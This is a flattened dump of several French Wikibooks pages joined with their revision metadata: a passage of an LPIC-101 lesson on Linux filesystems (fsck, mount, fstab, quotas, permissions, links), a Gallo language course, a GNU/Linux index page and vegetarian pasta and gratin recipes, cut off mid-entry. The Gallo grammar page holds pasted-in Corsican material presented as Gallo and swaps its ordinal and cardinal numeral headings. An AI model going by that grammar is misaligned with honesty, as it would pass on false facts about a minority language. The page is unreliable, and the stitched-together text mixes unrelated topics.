fsck [options] -t [fstype] device [fsck-options] Common options: -A: Go through the /etc/fstab file and try to check all file systems. Typically used at boot time from a script. -t fslist: Specify the type of file system to be checked. With -A, only filesystems that match fslist are checked -C: Display completion/progression bar. Common fsck-options: -a: Automatically repair. -r: Interactively repair. Examples: fsck -t msdos /dev/fd0 -a fsck -t reiserfs /dev/hda2 -r Checking extended filesystems To check extended filesystems consistency, use e2fsck. e2fsck [options] device Common options: -b: Use an alternate super block filename. -c: This option makes badblocks program to run and marks all the bad blocks. -f: Force checking even if the filesystem seems clean. -a or -p: Automatically repair. -y: non-interactive mode Examples: e2fsck -ay /dev/fd0 e2fsck -f /dev/hda2 === Déboguer les systèmes de fichiers étendus === The debugfs program is an interactive file system debugger. It can be used to examine and change the state of an ext2 file system. debugfs device Common command: Help: Give an help on all the command available. Stats: Give a statitstics of the media. Stat file: Give a statistic of the file on the media. logdump: Dump the journal's media into a file Example: stat haut.gif Inode: 14 Type: regular Mode: 0644 Flags: 0x0 Generation: 67558 User: 0 Group: 0 Size: 3786 File ACL: 0 Directory ACL: 0 Links: 1 Blockcount: 8 Fragment: Address: 0 Number: 0 Size: 0 ctime: 0x3ddf3840 -- Sat Nov 23 09:11:44 2002 atime: 0x3ddf3840 -- Sat Nov 23 09:11:44 2002 mtime: 0x3ddf3840 -- Sat Nov 23 09:11:44 2002 BLOCKS: (0-3):55-58 TOTAL: 4 === Afficher les informations d'un système de fichiers étendu === To print the super block and blocks group information of an extended filesystem, use dumpe2fs. dumpe2fs [options] device Common command: :-b: print the bad blocks of the filesystem. :-h: Display only the superblock information. Example: dumpe2fs -h /dev/fd0 dumpe2fs 1.26 (3-Feb-2002) Filesystem volume name: floppy Last mounted on: <not available> Filesystem state: clean Errors behavior: Continue Filesystem OS type: Linux Inode count: 184 Block count: 1440 Reserved block count: 72 Free blocks: 1258 Free inodes: 168 First block: 1 Block size: 1024 First inode: 11 Inode size: 128 ... === Optimiser les systèmes de fichiers étendus === To tune an extended filesystem, use tune2fs. tune2fs [options] device Common command: :-i#: Interval between filesystem checks [d|m|w]. :-l: List the contents of the filesystem superblock. :-L: Set the volume label of the filesystem. Examples: tune2fs -L floppy /dev/fd0 tune2fs -l /dev/fd0 (Same output as dumpe2fs -h /dev/fd0) tune2fs 1.26 (3-Feb-2002) Filesystem volume name: floppy Block count: 1440 Reserved block count: 72 Free blocks: 1258 Free inodes: 168 First block: 1 Block size: 1024 First inode: 11 Inode size: 128 ... === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Construire un système de fichier ext2 sur une disquette avec une taille de blocks de 2048 octets. # Changer l'étiquette du système de fichier pour BACKUP. # Ajouter une journalisation. # Utiliser debugfs pour valider le système de fichiers de votre disquette et vérifier quand il a été utilisé pour la dernière fois. # Utiliser watch pour surveiller la taille quand vous copier un gros fichier. # Faire un script shell pour lister tous les fichiers de la disquette de plus de 100 Ko. # Afficher l'utilisation pour tous les systèmes de fichiers de type MSDOS. # Quels sont les répertoires obligatoires dans / pour que ce système soit Linux ? # Quelle est l'utilisation du système de fichiers /proc ? == Contrôler le montage et démontage d'un système de fichiers == === Objectifs === Description: ''Les candidats devraient pouvoir configurer le montage d'un systeme de fichier( mounting of a filesystem). Cet objectif inclu la capacité à manuellement monter et démonter des systemes de fichiers, configurer le filesystem monté au démarage, et configurer des filesystem amovible tel que lecteur de bande(tape), disquette (floppy), et CD.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <b>/etc/fstab</b><br> <tt>mount<br> umount</tt> === Monter un système de fichiers === The mount command serves to attach the file system found on some device to the big file tree. mount [options] mount [options] [-t vfstype] [-o options] device dir If the device or directory is listed in /etc/fstab you can use the following: mount [options] [-o options [,...]] device | dir Normally only root has the priviledge to mount devices unless it is specified in the /etc/fstab file. Examples: mount # Print all the mouted filesystems. (etc/mtab) mount -a # Mount devices or dirs listed in /etc/fstab. mount -n -o ro /dev/hdc /mnt # Mount all /dev/hdc partition in read only mode without updating /etc/mtab. mount /media/cdrom mount /dev/cdrom # Allow a user to mount the CDROM if the following line is in /etc/fstab: /dev/cdrom /media/cdrom iso9660 ro,user,noauto,unhide mount -o sync /dev/sdb1 /mnt/usb # Sync in realtime === Démonter un système de fichiers === To detach a filesystem from the file tree, use umount. umount [options] umount [options] [-o options [,...]] device | dir A busy filesystem cannot be unmounted. * Open files * Working directory of a process. Examples: umount -a # Unmount devices or dirs listed in /etc/fstab. umount /mnt # Unmount the filesystem attached to /mnt. umount /media/cdrom # Allow a user to unmount the CDROM if the following line is in /etc/fstab: /dev/cdrom /media/cdrom iso9660 ro,user,noauto,unhide === Informations sur un système de fichiers === The file /etc/fstab contains all the file sytems and related information that will be used when doing a mount -a. (Boot time) The file /etc/mtab is maintained by the kernel and keeps track on what is or not mounted. The /etc/fstab format is: #device dir destination fs options 1 2 /dev/hda3 / reiserfs defaults 1 2 /dev/hda1 /boot ext2 defaults 1 2 /dev/cdrom /media/cdrom auto ro,noauto,user,exec 0 0 usbdevfs /proc/bus/usb usbdevfs noauto 0 0 /dev/hda2 swap swap pri=42 0 0 Common options: ro: read only, noauto: Don't mount automatically, exec: Can execute binary on the filesystem, suid: Allow to setuser bit. user: Allow a user to mount/unmount it, unhide: hidden file visible. Async: All operations will be done asynchronously. default: rw, suid, dev, exec, auto, nouser, and async. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Create a line in /etc/fstab that allows any user to access the floppy disk. Check that you can mount the floppy and can create a file with touch. # Do the following manipulation: #* Create a ext2 file system on the floppy. #* Mount the floppy. #*Copy all the files /etc/*.conf into the floppy. #* Unmount it. What's happenning? #* Mount it back and check that all the files are there. #* Issue the following command: #* Tar cvf /dev/fd0 /etc/*.conf #* Try to mount it back. What's happenning? #* Use tar to view the contents of the floppy. == Gérer les quotas disque == === Objectifs === Description: ''Les candidats devraient êtres capables de gérer les quotas disque pour les utilisateurs. Cet objectif inclut la mise en place d'un quota disque pour un système de fichiers pour éditer, vérifier et produire des rapports sur les quotas utilisateurs.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>quota<br> edquota<br> repquota<br> quotaon</tt><br> * Managing quotas for filesystems * Printing quota reports * Managing disk quota === Quotas === On a system, root can manage the useage of disk space per user and per filsystems. The two limits that can be setup are: The soft limit (soft =) specifies the maximum amount of disk usage a quota user is allowed to have. The hard limit (hard =) specifies the absolute limit on the disk usage a quota user can't go beyond it. There is also the possibility to setup a grace period that will enforce the soft limit only after an amount of time specified. === Créer des quotas pour les utilisateurs === 1) The keyword usrquota or/and grpquota must be added in file /etc/fstab for the partition interested. /dev/fd0 /home/yann/mnt auto rw,noauto,user,usrquota 0 0 /dev/hda5 /home ext2 defaults,usrquota,grpquota 1 2 2) Add in each root filesystems the file user.quota or/and group.quota. touch /mnt/aquota.user touch /home/aquota.user touch /home/aquota.group chmod 600 /mnt/aquota.user chmod 600 /home/aquota.user chmod 600 /home/aquota.group Only root can do the quota administration and once the empty files have been created some disk quota can be set such as: * Soft limitation on number of files and inodes. * Hard limitation on number of files and inodes if the grace time is set. 3) Check the setting quotacheck -v mnt quotacheck: Scanning /dev/fd0 [/home/yann/mnt] done quotacheck: Checked 6 directories and 1 files 4) Enable quota on the disk quotaon -av /dev/fd0 [/home/yann/mnt]: user quotas turned on 5) Customize the disk quota limits: $ edquota -u yann Disk quotas for user yann (uid 500): Filesystem locks soft hard inodes soft hard /dev/fd0 15 0 0 4 0 0 $ edquota -g yann $ edquota -t Grace period before enforcing soft limits for users: Time units may be: days, hours, minutes, or seconds Filesystem Block grace period Inode grace period /dev/fd0 7days 7days === Afficher les quotas === To list quotas for an user or group, use quota. quota [options] [user|group] Common options: -u:Default, print user quotas. -g:Print group quotas for the group of which the user is a member. -q: Print a more terse message, containing only information on filesystems where usage is over quota. Example: quota -u yann Display a quota report To display a quota report, use repquota. repquota [options] [user|group] Common options: -a: Report on all filesystems indicated in /etc/mtab to be read-write with quotas. -g: Report for group. Example: $ repquota /dev/fd0 *** Report for user quotas on device /dev/fd0 Block grace time: 7days; Inode grace time: 7days Block limits File limits User used soft hard grace used soft hard grace ---------------------------------------------------------------------- root -- 8 0 0 2 0 0 yann -- 15 0 0 4 0 0 === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Setup a soft limitation for any users that have their home directory in /home to 500M. # Change the grace time to 0. # Log as the user and check if the limitation works. == Permissions d'accès aux fichiers == === Objectifs === Description : ''Les candidats devraient être capable de contrôler les accés aux fichiers à travers les permissions. Cet objectif inclut les permissions d'accés pour les fichiers ordinaires ou spéciaux ainsi que les répertoires. Est aussi compris les modes d'accés tel que suid, sgid, et le sticky bit, l'utilisation du champ group pour autoriser l'accés de groupes de travail à un fichier, le immutable flag, et mode de création de fichier par défaut.'' Unix File Security File and Directory Permissions Default Permissions Changing File Permissions Changing File Owner and Group More Privileges Unix file security The biggest security problem may be you. You own any directory or files you created. You are responsible for accessibility of your files. You decide who can access which files and directories. In your home directory you will be able to grant different levels of permission to yourself, users in your group and the all other users. === Permissions des fichiers et des répertoires === The permission of a file or of a directory can be viewed with ls -l. File permissions Examples of file permissions: ls -l readme -rwxrw---- 1 toto users 14 Jul 5 10:00 readme This means read,write, and execution permissions for user toto, read and write permissions for members of group users. No permissions for others. (0760) ls -l /etc/hosts -rw-r--r-- 1 root root 14 Jul 5 10:00 /etc/hosts This means read and write permissions for user root, read permissions for members of group root and all others. (0644) Examples of directory permissions: ls -ld /bin drwxr-xr-x 2 root root 4096 Jul 5 10:00 /bin This means read,write, and execution permissions for user root, read and execution permissions for members of group root and others. (0755) ls -l /home/toto drwxr-xr-x 10 toto users 4096 Jul 5 1:00 /home/toto This means read, write, and execution permissions for user toto, read and execution permissions for members of group users and others. (0755) === Permissions par défaut === The default permissions when creating a file are 0666 and when creating a directory are 0777. Most of the systems overwrite this at boot time with the program umask. Generally the mask value is 022. It means the write for group and other will be blocked. To check or change the mask value, do: umask umask 066 Examples for file: default: rw- rw- rw- (0666) umask: 0 2 2 (0022) Block result: rw- r-- r-- (0644) Examples for directory: default: rwx rwx rwx (0777) umask: 0 2 2 (0022) Block result: rwx r-x r-x (0755) === Changer les permissions des fichiers === To change permissions on a file or directory, use chmod. To overwrite the existing permissions, do: chmod 0755 /tmp #rwx for user, rx for group and others To change add or cancel some permissions without overwriting all the existing permissions, do: chmod u+w readme # Add write permission for user chmod +r readme # Add read permission for everybody chmod -r readme # Remove read permission for everybody chmod u+x,g=r readme # Add execution for user and set read for group chmod u=rwx,go=rx readme # Set read write and execution for user, read and execution for group and others To change in recursive mode, use the -R option. chmod -R +x /sbin/* === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] == Propriété des fichiers == === Objectifs === Description : ''Les candidats devraient être en mesure de contrôler les droits des utilisateurs et et des groupes sur les fichiers. Cet objectif inclut la capacité à modifier la propriété utilisateur et groupe sur un fichier aussi bien que le propriétaire par defaut de fichiers nouvellement créés.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>chmod<br> chown<br> chgrp</tt> === Changer le propriétaire et le groupe d'un fichier === To change the owner of a file or directory, use chown. chown yann mon_fichier.txt To change the group of a file or directory, use chgrp. chgrp dialout caller The programs gpasswd and yast2 allow you to administrate groups. gpasswd [-A user,...] [-M user,...] group :-A: Add users with group administrator privileges. :-M: Add members in group. Group administrators can add or delete members of the group gpasswd -d toto users gpasswd -a toto users Group administrators can set or remove the password for the group. gpasswd users gpasswd -r users === Plus de privilèges === It is possible to give more privileges to an user when it executes a particular script or program by setting the uid or gid bit of the file. If the bit is set, the process will inherit the permissions of the owner of the file not the permissions of the user. To set the effective uid or gid, use chmod. chmod 2640 [file] # (2) gid is inheritable for group. chmod 4640 [file] # (4) uid is inheritable for user. Example of such program is /bin/passwd. The sticky bit can also be set and can make the program text segment resident in RAM. chmod 1640 [file] (1) The file program stays in RAM. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] 1) Write the command line by using letters with chmod to set the following permissions: rwxrwxr-x : rwxr--r-- : r--r----- : rwxr-xr-x : rwxr-xr-x : r-x--x--x : -w-r----x : -----xrwx : 2) Write the command line by using octal numbers with chmod to set the following permissions: rwxrwxrwx : --x--x--x : r---w---x : -w------- : rw-r----- : rwx--x--x : 3) With the following umask values what would be the files and directories creation permissions? umask = 0027 File permissions: Directory permissions: umask = 0011 File permissions: Directory permissions: umask = 0541 File permissions: Directory permissions: umask = 0777 File permissions: Directory permissions: 4) Create two user accounts Logging In id: tst1, group users, with bash shell, home directory /home/tst1 logging In id: tst2, group public, with bash shell, home directory /home/tst2 For the two accounts set a password. Logging in as tst1 and copy /bin/ls into tst1 home directory as myls. Change the owner of myls to tst1 and the permissions to 0710. What does this permission value mean? Logging in as tst2 and try to use /home/tst1/myls to list your current directory. Does it work ? Create in /etc/group and /etc/gshadow a new group labo with tst1 and tst2. Change the owner group of myls to labo. Try again from tst2 account to execute /home/tst1/myls to list your current directory. Does it work? == Liens réels et symboliques == === Objectifs === Description : ''Les candidats devraient être capable de créer et gérer des liens symboliques ou réels vers un fichier. Cet objectif inclut la capacité à créer et identifier des liens, à copier des fichiers à travers ces liens, et à utiliser les liens vers des fichiers dans les tâches d'administration système.'' Key <b>files</b><i> terms</i> and<tt> utilities</tt> include:<br> <tt>ln</tt> === Liens === Use link when: You want to create a pathname to a file Set a shorter or fixed pathname to a file To link one file to another, use ln. ln [options] filename linkname ln [options] filename linkdirectory Common options: :-f force: clobber existing link :-s symbolic link The default links are hard link. On Windows there are called shortcut. A hard link can only be created to an existing file on the same physical device and no visible association can be displayed between a link name and a file name. A symbolic link can be created on a file that doesn’t exist yet and can be viewed with the ls command. === Lier un fichier === The symbolic and hard link can be displayed with ls -l. Symbolic link are indicated with an arrow: link_name->real_filename. $ ls -l /dev/midi lrwxrwxrwx 1 root root 6 Jul 4 21:50 /dev/midi -> midi00 Hard link are indicated with the number of link. $ ls/readme lrwxrwxrwx 3 yann users 677 Jul 4 21:50 readme When removing a link name, use rm. Only the link will be removed not the linked file. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Create a directory etc and bin in your home directory. # Copy all the files in recursive mode from /etc to your etc directory and do the same for /bin to bin. # In your local etc directory rename all files *.conf by *.conf.bak # Create in your home directory a symbolic link call dir that points to your local bin/ls. Check if dir do execute ls. # Remove the dir link. Is bin/ls still there? == Trouver les fichiers système et maîtriser leur positionnement == === Objectifs === Description : ''Les candidats devront être complétement familiarisés avec la Hierarchie Standard du système de fichiers, incluant la localisation habituelle des fichiers et les classifications de répertoires. Cet objectif inclut la capacité de trouver les fichiers et les commandes sur un systeme Linux.'' === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] [[en:LPI Linux Certification/LPIC1 Exam 101/Linux Filesystems]] Enseignement du gallo/Contenu 3657 15150 2005-05-23T10:53:29Z AKARIGE 313 Le '''gallo''' est une langue romane parlée en Bretagne (France). == Sommaire == * [[Enseignement du gallo/Présentation|Présentation]] * [[Enseignement du gallo/Orthographe-Orthoépie|Orthographe-Orthoépie]] * [[Enseignement du gallo/Grammaire|Grammaire]] ** [[Enseignement du gallo/Congugaison|Conjugaison]] * [[Enseignement du gallo/Vocabulaire|Vocabulaire]] * [[Enseignement du gallo/Manuel|Manuel]] * [[Enseignement du gallo/Littérature|Littérature]] * [[Enseignement du gallo/Bibliographie|Bibliographie]] == Liens externes == === Projets Wikimédia === * [[w:Gallo|Gallo]] - Wikipédia * [[wikt:gallo|Gallo]] ([[wikt:Catégorie:gallo|Catégorie:gallo]]) - Wiktionnaire * [[q:Proverbes bretons (gallo)|Proverbes bretons (gallo)]] - Wikiquote Image:Bretagne flag.png 3658 15151 2005-05-20T19:11:15Z AKARIGE 313 pris sur wikipedia en français pris sur wikipedia en français Enseignement du gallo/Grammaire 3659 15152 2005-06-18T08:02:04Z AKARIGE 313 /* Les pronoms possessifs */ {{EnTravaux}} Le '''gallo''' est une langue romane parlée en Bretagne (France). == Les articles == * masculin singulier : '''le''' : le - exemple : ''le oézèu'' * féminin singulier : '''la''' : la - exemple : ''la tablètt'' * masculin pluriel : '''lez''' : les - exemple : ''lez oézéaus'' * féminin pluriel : '''lez''' : les - exemple : ''lez tablètt'' == Les verbes == == Les adjectifs démonstratifs == * masculin singulier: '''issu''', '''istu''' : ce, cet * féminin singulier: '''issa''', '''ista''' : cette * masculin pluriel: '''issi''', '''isti''' : ces * féminin pluriel: '''issi''', '''isti''' : ces A noter que le '''i''' initial ne se prononce pas. == Les pronoms possessifs == * masculin singulier: '''mon''' : mon * féminin singulier: '''ma''' : ma * masculin pluriel: '''mez''' : mes * féminin pluriel: '''mez''' : mes * masculin singulier: '''ton''' : ton * féminin singulier: '''ta''' : ta * masculin pluriel: '''tez''' : tes * féminin pluriel: '''tez''' : tes * masculin singulier: '''son''' : son * féminin singulier: '''sa''' : sa * masculin pluriel: '''sez''' : ses * féminin pluriel: '''sez''' : ses * masculin singulier: '''nostr''' : notre * féminin singulier: '''nostr''' : notre * masculin pluriel: '''noz''' : nos * féminin pluriel: '''noz''' : nos * masculin singulier: '''vostr''' : votre * féminin singulier: '''vostr''' : votre * masculin pluriel: '''voz''' : vos * féminin pluriel: '''voz''': vos * masculin singulier: '''lór''' : leur * féminin singulier: '''lór''' : leur * masculin pluriel: '''lóz''' : leurs * féminin pluriel: '''lóz''' : leurs == Les pronoms indéfinis == Le pronom indéfini "on" peut se traduire en langue corse de différentes manières: * par l'utilisation de '''a parsona''': on. Exemple: '''quandu a parsona invechja'''...: lorsqu'on vieillit... * par l'utilisation de '''si''': on. Exemple: '''quandu eddu si parti'''...: lorsqu'on part... == Les adjectifs numéraux == === Les adjectifs numéraux ordinaux === * '''un''' : un * '''doez''' : deux * '''treiz''' : trois * '''catr''' : quatre * '''ceinc''' : cinq === Les adjectifs numéraux cardinaux === * permier * doeziem * treiziem * cateriem * ceinqiem * * unn dicina * una quindicina * una vintena * una trintena * una quarantena * una cinquantena * una sissantena * una sittantena * ... * una cintunara == Les pronoms personnels == * 1ère personne (singulier): '''je''', '''j'''' : je * 2ème personne (singulier): '''tu''', '''t'''' : tu * 3ème personne (masculin singulier): '''il''' : il * 3ème personne (féminin singulier): '''ol''', '''al''', '''èl''' : elle * 1ère personne (pluriel): '''je''', '''j'''' : nous * 2ème personne (pluriel): '''vóz''', '''v'''' : vous * 3ème personne (masculin pluriel): '''il''' : ils * 3ème personne (féminin pluriel): '''ol''', '''al''', '''èl''' : elles == Les pronoms réfléchis == * 1ère personne (singulier): '''mi''': me * 2ème personne (singulier): '''ti''': te * 3ème personne (masculin singulier): '''si''': se * 3ème personne (féminin singulier): '''si''': se * 1ère personne (pluriel): '''ci''': nous * 2ème personne (pluriel): '''vi''': vous * 3ème personne (masculin pluriel): '''si''': se * 3ème personne (féminin pluriel): ''si''': se == Les pronoms démonstratifs == * masculin singulier: '''quissu''', '''istu''' : celui-ci * féminin singulier: '''quissa''', '''ista''' : celle-ci * masculin pluriel: '''quissi''', '''isti''' : ceux-ci * féminin pluriel: '''quissi''', '''isti''' : celles-ci * masculin singulier: '''quiddu''', '''istu''' : celui-là * féminin singulier: '''quidda''', '''ista''' : celle-là * masculin pluriel: '''quiddi''', '''isti''' : ceux-là * féminin pluriel: '''quiddi''', '''isti''' : celles-là == Les pronoms relatifs == == Les prépositions == == Les conjonctions == == Les interjections == == Les adverbes == == Les noms == === Le pluriel des noms === * les noms féminins font leur pluriel en '''i''': ** * exception: * les noms masculins font leur pluriel en '''i''' ou en '''a''' : ** * exception: == Les adjectifs == === Le pluriel des adjectifs === {{Gallo}} Enseignement du gallo:Contenu 3660 15153 2005-05-20T19:57:31Z AKARIGE 313 Enseignement du gallo:Contenu déplacé vers Enseignement du gallo/Contenu #REDIRECT [[Enseignement du gallo/Contenu]] Enseignement du gallo:Grammaire 3661 15154 2005-05-20T19:59:09Z AKARIGE 313 Enseignement du gallo:Grammaire déplacé vers Enseignement du gallo/Grammaire #REDIRECT [[Enseignement du gallo/Grammaire]] Enseignement du gallo/Vocabulaire 3662 15155 2005-05-21T07:13:57Z AKARIGE 313 == Phrases usuelles == == Vocabulaire == === Vocabulaire de base === ==== Les jours de la semaine ==== *'''lundi''' : lundi *'''mardi''' : mardi *'''mèrqerdi''' : mercredi *'''joesdi''', '''juésdi''' : jeudi *'''vanderdi''' : vendredi *'''samadi''' : samedi *'''dimaenn''' : dimanche ==== Les mois ==== * '''jaunvier''' : janvier * '''feverier''' : février * '''martz''' : mars * '''avrilh''' : avril * '''maè''' : mai * '''juen''' : juin * '''julhèt''' : juillet * '''aóst''' : aout * '''setanbr''' : septembre * '''otobr''' : octobre * '''novanbr''': novembre * '''deleir''', '''deczanbr''' : décembre ==== Les couleurs ==== * '''blaunc''' : blanc * '''neir''' : noir * '''vèrt''' : vert * '''rój''' : rouge * '''jaunn''' : jaune * '''griz''' : gris * '''violèt''' : violet ==== La famille ==== * '''le paerr''': le père * '''la maerr''': la mère * '''le filh''', '''le gartz''': le fils === Vocabulaire spécialisé === {{Gallo}} Modèle:Gallo 3663 15156 2005-05-21T06:43:37Z AKARIGE 313 <br clear="all"> {|border="0" cellpadding="4" cellspacing="4" width="100%" style="border: 1px solid #FF7F50" |- |Cette page fait partie du wikilivre « '''[[Enseignement du gallo]]''' » - voir le [[Enseignement du gallo/Contenu|sommaire]] |} GNU/Linux 3664 26843 2005-12-15T17:43:40Z 82.227.246.168 /* Introduction */ lien wikipédia Linus Torvalds ==Introduction== '''Linux''' est un noyau de [[w:système d'exploitation|système d'exploitation]] de type [[w:UNIX|UNIX]], qui a pour logo [[w:Tux|Tux]], un manchot. C'est probablement l'exemple le plus connu de développement de [[w:logiciel libre|logiciel libre]]. Le '''noyau''' Linux a été créé par [[w:Linus Torvalds|Linus Torvalds]] et un grand nombre de développeurs bénévoles, et est publié sous la licence de logiciels libres [[w:Licence publique générale GNU|GNU GPL]]. Le '''système''' Linux se compose du noyau Linux et des composantes systèmes majoritairement développés par ou pour le projet [[w:GNU|GNU]]. L'ensemble des deux doit en toute rigueur être nommé '''GNU/Linux''', car le noyau n'en constitue qu'une petite partie. Sans que cette appellation soit contestée sur le principe, il arrive souvent dans la pratique que par abus de langage on dise « Linux » pour désigner « GNU/Linux ». ==Installation et utilisation en fonction des distributions== * [[Qu'est-ce qu'une distribution GNU/Linux ?]] * [[Mandriva Linux]] * [[Debian GNU/Linux]] * [[Red Hat]] * [[SuSE]] * [[Ubuntu]]/[[Kubuntu]] ==Avancé== * [[vi]] * [[Emacs]] * .. ===Programmation=== * [[Programmation Shellscript]] * [[Programmation Bash|Bash]] * [[Programmation Python|Python]] * [[Programmation Perl|Perl]] * [[Programmation PHP|PHP]] * [[Programmation C|C]] ==Autres== * [[Certifications Linux LPI]] * [[Migration Windows NT vers Linux]] [[en:Linux-compendium]] Cuisine:Gratin de tofu 3667 16274 2005-07-10T08:40:26Z Sarvok 270 ajout du model cuisine {{Livre de cuisine}} ==Ingrédients== * 100g de haricots rouges (séchés) mis à tremper la veille * 1 boîte de tomates pelées * 1 oignon haché * 1 gousse d’ail hachée * 150g de [[Cuisine:Tofu|Tofu]] émietté * chapelure, levure de bière en paillettes, paprika, poivre, sauce de soja, herbes de Provence, huile d’olive ==Préparation== * Cuire les haricots dans l’eau bouillante pendant 1 h. environ. Pendant ce temps, faire mariner le tofu dans la sauce de soja, le paprika et le poivre. Rissoler l’oignon et l’ail dans l’huile puis ajouter les tomates pelées et les herbes de Provence. * Laisser mijoter 30 min, puis mélanger le tofu et les haricots à la sauce et laisser cuire quelques instants. Déposer la préparation dans un plat à four, saupoudrer de chapelure et de levure, mouiller d’un filet d’huile d’olive et dorer au four. Vous pouvez servir le gratin sur une céréale ou comme accompagnement de galettes de céréales. Cuisine:Gratin de pâtes sauce blanche 3668 16272 2005-07-10T08:40:14Z Sarvok 270 ajout du model cuisine {{Livre de cuisine}} ==Ingrédients== * 250g de pâtes rondes * 100g de noix grossièrement pilées * 250mL de [[Cuisine:Lait de Soja|Lait de Soja]] non sucré * 250mL de bouillon végétal * 1 gousse d’ail écrasée * 3 cuillères à soupe d’huile d’arachide * 3 cuillères à soupe bombées de farine * 1 cuillère à thé de moutarde * 5 cuillères à soupe de levure maltée en flocons * sel, poivre, chapelure ==Préparation== * Préparer les pâtes selon les instructions du sachet. * Faire chauffer l’huile dans une casserole, y jeter la farine et fouetter, pour faire un roux. Ajouter petit à petit le lait de soja en alternance avec le bouillon végétal, tout en fouettant vivement. Ajouter ensuite la moutarde, la levure, la gousse d’ail écrasée et l’assaisonnement. Laisser mijoter quelques instants. * Dans une poêle, faire griller les noix. Mélanger la sauce avec les pâtes et les noix. Placer la préparation dans un plat à gratin, saupoudrer de chapelure et faire dorer au four quelques minutes. Cuisine:Gratin de céréales 3669 16273 2005-07-10T08:40:20Z Sarvok 270 ajout du model cuisine {{Livre de cuisine}} ==Ingrédients== * 100g de millet ou 150g de boulgour * 300mL de bouillon de légumes * 2 gousses d’ail hachées * 4 grosses tomates en rondelles * mie de pain, huile d’olive, thym, origan, sel, poivre ==Préparation== * Griller la mie de pain à l’huile d’olive avec une gousse d’ail hachée. Dans un plat à four, disposer la mie de pain, puis alternez des rondelles de tomates, de l’ail haché, du thym et de l’origan et la céréale (millet ou boulgour). Terminer par des rondelles de tomates. Verser ensuite le bouillon de légumes assaisonné. Cuire 30 min environ (moins s’il s’agit de boulgour) à 180°C. * Déguster ce plat avec une salade verte garnie. Cuisine:Nouilles fraîches 3670 18469 2005-08-04T20:18:15Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 300g de farine * 1 cuillère à soupe d'huile * 1 petite cuillère à thé de sel. ==Préparation== * Dans un saladier ou dans le bol d'un robot versez la farine, l'huile et le sel. Bien mélanger. Sortez la pâte sur le plan de travail légèrement enfariné. Formez une boule et pétrissez-la plusieurs fois en repliant la pâte sur elle-même et en ajoutant un peu de farine si la pâte est trop collante. Laissez reposer au frais pendant 30 min. Etalez la pâte au rouleau pour obtenir une épaisseur de 0,5 cm. Roulez la pâte sur elle-même pour former un tube. Au couteau coupez des tranches fines de la largeur d'une nouille. * Laissez un peu sécher les nouilles déroulées. * Faites-les cuire dans une grande casserole d'eau bouillante légèrement salée. * Assaisonnez selon goût avec : ''huile d'olive ; sauce tomate ; persil ; ail ; basilic ; beurre ; brisures de noix ; sauce aux champignons, etc.'' Cuisine:Nouilles au Sarrasin 3671 18468 2005-08-04T20:17:26Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 125mL de beurre d'arachide crémeux * 75mL d’eau * 25mL de sauce soya * 15mL de mélasse * 25g de gingembre frais râpé * 1 gousse d'ail * 2mL de sauce épicée *350g de [[Cuisine:Nouilles fraîches|Nouilles]], au sarrasin (ou spaghetti) * 15mL d’oignons verts tranchés en diagonale pour garniture * 15mL d’arachides hachées pour garniture ==Préparation== * Dans un mélangeur, battre le beurre d'arachide, l'eau, la sauce soya, la mélasse, le gingembre, l'ail et la sauce épicée, jusqu'à consistance lisse ; réserver. Cuire les pâtes selon le mode de cuisson sur l'emballage. Égoutter et bien rincer. Refroidir. * Dans un grand bol, déposer les nouilles et la sauce aux arachides épicées en remuant jusqu'à ce que tout soit bien mélangé. Garnir d'oignons verts et d'arachides et servir. Cuisine:Pâtes aux champignons 3672 18474 2005-08-04T20:18:44Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 250g de champignons émincés * pâtes 100% à base de blé dur ou [[Cuisine:Nouilles fraîches|Nouilles]] * 1 gousse d’ail hachée * 1 oignon haché * 300mL de bouillon de légumes * 2 cuillères à soupe de farine * 30g de margarine végétale * sauce de soja, huile d’olive, curry, noix de muscade, poivre, persil haché ==Préparation== * Rissoler l’ail et les champignons dans l’huile pendant quelques min. Les enlever et rissoler l’oignon. Pendant ce temps, faire fondre la margarine, y jeter la farine et faire un roux. Verser petit à petit le bouillon en remuant énergiquement. Réduire la sauce et laisser épaissir. Ajouter la sauce de soja, le curry et le poivre, puis les champignons et l’oignon. Faire cuire les pâtes et les mélanger à la sauce. * Servir garni de persil haché. Cuisine:Pâtes aux champignons et aux herbes 3673 18473 2005-08-04T20:18:40Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 500g de pâtes 100% à base de blé dur (ou [[Cuisine:Nouilles fraîches|Nouilles]]) * 300g de champignons de Paris * 6 cuillères à soupe d'huile d'olive * 2 cuillères à soupe d'herbes hachées * 1 gousse d'ail écrasée * le jus d'un demi citron, sel et poivre. ==Préparation== * Coupez le pied des champignons. Gardez les têtes et essuyez-les avec un chiffon humide. Badigeonnez largement les têtes des champignons avec la moitié de l'huile d'olive. Faites-les griller sous le grill du four pendant 5 à 8 min. Coupez les champignons en lamelles, mettez-les dans une jatte avec leur jus. Ajoutez le restant d'huile, les herbes, l'ail, et le jus de citron. Mélangez bien, salez et poivrez. Ajoutez les champignons aux pâtes (préalablement préparées comme indiqué sur leur paquet). * Mélangez bien et servez chaud. Cuisine:Pâtes aux poivrons 3674 18472 2005-08-04T20:18:38Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 250g de pâtes 100% à base de blé dur (ou [[Cuisine:Nouilles fraîches|Nouilles]]) * 3 poivrons (jaune, orange et rouge) * 1 gousse d’ail hachée * huile d’olive, sel, poivre. ==Préparation== * Rissoler l’ail dans une poêle, lui ajouter les poivrons taillés en fines lamelles et les épices, et laisser mijoter à couvert (de manière à conserver le jus des poivrons). Cuire les pâtes selon les instructions du sachet et les mélanger ensuite aux poivrons. * Déguster sans attendre. Cuisine:Pâtes aux tomates et épinards 3675 43756 2006-06-02T12:37:03Z 